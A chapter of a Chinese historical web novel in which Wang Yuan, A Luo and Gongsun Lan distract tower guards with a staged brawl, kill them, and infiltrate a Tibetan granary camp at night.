<script src="https://img.zhaozhi.us/pc/pc.js?v=2022"/>
粮仓军营围墙之外突然爆发的吵闹之声引起了箭塔上几名吐蕃士兵的主意。他们探头顺着声音看去,但见围墙之外的空地上,两名士兵正扭打在一起。准确的来说,是一名士兵追着另一名士兵打。
让人觉得疑惑的是,明明被追打的那名士兵身形还高大强壮些,却被后面那名身材瘦小的士兵追的抱头鼠窜不断的求饶,一副熊包模样。
“他娘的,这些混蛋没事灌饱了黄汤到处闲逛惹是生非,这两个一定是从律賁城败退回来的兵马。这帮人来到咱们墨脱之后,城里便乱成了一团。这群丢了律賁城一败涂地的家伙还有心思喝酒取乐,当真是不知羞耻。”箭塔上一名士兵骂道。
“还不是阿拉江将军想着收留他们为守城出一份力?其实便是没有这些人,咱们墨脱城的两万大军也绝对能守得住。看着他们这些人就来气。喊话教他们滚蛋,不滚蛋便用箭射他们。”另一名士兵道。
箭塔上的士兵立刻探头朝下边依旧纠缠不清追打不休的两人叫道:“喂,你们两个是哪位将军属下的兵马?这里是粮仓军营重地,可不是你们打打闹闹的地方。阿拉江城主下了严令,但有敢靠近者格杀勿论。快给老子们滚蛋,否则我们可不客气了,送你们去见真佛。”
王源听的真切,忙朝箭塔摆手叫道:“莫要射箭,千万莫要射箭。都怪我这位兄弟喝醉了酒撒酒疯追着打人,我这便带着他离开。万万担待则个。”
一旁佯装在王源身上扑打的阿萝低声咬牙道:“好哇,你敢说我撒酒疯。”
王源低声道:“我喜欢撒酒疯的女人。”
箭塔上士兵的喊叫声再次传来:“快滚蛋,军中饮酒,光是这一项便要砍脑袋。再不滚禀报城主得知,你们一样死路一条。”
“马上滚,马上滚。”王源朝上点头哈腰,拖着兀自作踉跄醉酒之态的阿萝慢吞吞的远离军营。
这么一闹腾,箭塔上所有士兵的目光都被吸引到了王源和阿萝身上,王源边离开边看着公孙兰藏身的方向,但见一条黑影如一溜青烟一般穿越了数十步的距离冲到了营墙下,轻巧巧一个翻越,便像是一个幽灵消失不见。
王源暗赞公孙兰身法了得,眨眼之间便已经进入营地,丝毫不拖泥带水。
“表姐进去了,戏演得很成功。”王源低声道。
阿萝低声惊讶道:“这么快?”
王源道:“便看表姐能否解决这座箭塔上的敌兵了。”
两人依旧慢吞吞的走开,箭塔上的吐蕃士兵依旧盯着他们踉跄的背影瞧着,直到他们消失在黑暗处不见,几名吐蕃士兵才啐了口浓痰骂道:“什么玩意儿。”
就在他们转身的一刹那,赫然发现箭塔上多了一个黑影,手里提着明晃晃的长剑。几名士兵微一错愕,尚未开口询问出半句话,便见那黑影上手便杀人,几息之内,五名在箭塔上的值夜士兵竟然连敲响挂在箭塔木柱上的铜锣都没来的及,便尽数捂着喉咙软倒在箭塔上。
公孙兰缓缓的擦拭着剑上的血迹,还入鞘中,双目警惕的居高临下朝四处看。四周一片安静,并无异状,显然没有人注意到这座箭塔上发生的一切。公孙兰伸手从怀中掏出一块白色丝巾,探出箭塔外挥动了两下,给王源他们发送信号。不久后她便看见王源和阿萝从黑暗中冲过空旷的地带抵达军营外墙。阿萝抛出了钩索,两人如猿猴般爬上了营墙顶端落在了营地里。公孙兰这才松了口气。
片刻后,箭塔下方的梯子上传来了轻微的脚步声,公孙兰探头看去,见王源和阿萝正悄悄的爬了上来,于是挪开阻挡在梯子口的一具尸体让两人顺利上塔。
王源看着五名吐蕃士兵的尸体和木柱上的铜锣咂舌道:“原来他们有示警的铜锣,好家在,若是被他们敲响了铜锣,后果不堪设想。”
公孙兰淡淡道:“又怎会容他们示警,那是绝对不可以的。”
王源挑指无声点赞,弯腰蹲在箭塔的围栏边缘往军营内观瞧。这里是最适合观察军营中巡逻队伍的地方,王源当然要利用这一点。
“瞧见没,约莫一百多步外的那片场地中堆着的圆锥形之物便是屯粮的粮仓了。大概有二十几堆的样子,数量着实不少。”王源低声指着远处灯火处道。
在距离围墙百步远的地方便是二十余座粮堆,呈两排摆放。但在粮仓周围有着不少房舍,一排排排列整齐,有的高大,有的低矮,像是军营和物资的仓库。巡逻的兵马也不少,除了外围有两支巡逻队提着灯笼绕圈巡逻之外,粮仓里边能看到的便有好几处移动的灯光,想必也是巡逻的吐蕃士兵。
大致看了情形,便到了行动的时候,三人轻轻下了箭塔悄悄的朝最近的一处房舍靠近。利用两队巡逻兵之间短暂的间歇时间,三人迅速越过空旷地带抵达一座低矮却狭长的房舍的暗影里。三人沿着房舍见的小道缓缓前行,行到窗下,王源侧耳在虚掩的窗下倾听,但听窗内屋子里鼾声如雷,显然里边有不少吐蕃兵正在酣睡。这也坐实了王源之前的判断,这一排排狭长的矮房子正是士兵居住的营房。